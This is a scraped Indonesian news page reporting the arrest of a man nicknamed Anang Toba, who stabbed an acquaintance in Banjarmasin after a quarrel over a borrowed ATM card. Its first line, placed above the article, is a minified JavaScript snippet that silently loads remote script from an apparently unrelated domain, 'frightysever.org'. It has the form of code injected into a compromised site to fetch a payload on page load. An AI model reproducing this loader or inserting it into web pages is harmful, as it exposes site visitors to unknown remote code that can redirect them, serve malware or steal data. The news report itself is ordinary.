(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Adu Mulut Berujung Melukai, Anang Toba Dibekuk Polisi


KANALKALINANTAN.COM, BANJARMASIN – Seorang pria berinisial MN alias Anang Toba dibekuk jajaran Polsek Banjarmasin Barat karena melakukan tindak pidana penganiayaan.

Korban adalah Pariyadi, warga Kecamatan Mandastana, Kabupaten Barito Kuala (Batola), Kalsel.

Sedangkan pelaku merupakan warga jalan Banyiur Luar, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Kapolsek Banjarmasin Barat Kompol Faizal Rahman melalui Kanit Reskrim Iptu Firuza Bahri kronologis kejadian bermula ketika korban Pariyadi pada Selasa (21/2/2023) lalu, mencari kartu ATM miliknya yang dipinjam oleh pelaku.

Baca juga: Kelompok LSM Luncurkan Dana Nusantara Berdayakan Masyarakat Adat Lawan Perubahan Iklim 

Saat pertemuan korban dengan Anang Toba di jalan Ampera gang 20 RT 012 Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin terjadi adu mulut hingga berakhir penganiayaan di lokasi tersebut.

“Terlapor (Anang Toba) mengeluarkan senjata tajam dari pinggangnya dan langsung menganiaya korban,” katanya, Senin (8/5/2023) malam.

Atas kejadian tersebut korban mengalami luka robek di punggung tangan sebelah kiri di atas jari kelingking dan jari manis, serta luka robek di punggung sebelah kanan.

Lebih lanjut, dijelaskan pelaku Anang Toba berhasil diamankan tim Opsnal Reskrim Polsek Banjarmasin Barat pada Sabtu (6/5/2023) sekitar pukul 17.00 Wita di jalan Sutoyo S Gang 20, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

“Pelaku dan barang bukti hasil visum dibawa ke polsek guna proses hukum lebih lanjut,” ujar Iptu Firuza Bahri.

Sementara itu, dikatakan barang bukti sajam yang digunakan pelaku untuk menganiaya korban masih dalam proses pencarian.

Baca juga: Lomba Makanan Sehat Bergizi Berimbang Antar Kelurahan se Banjarbaru, Ini Daftar Juaranya

Pelaku diancam dengan Pasal 351 KUHP tentang Penganiayaan dengan ancaman hukuman maksimal 2 tahun 8 bulan penjara. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

11 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

13 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

13 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

14 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

15 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

17 jam ago

This website uses cookies.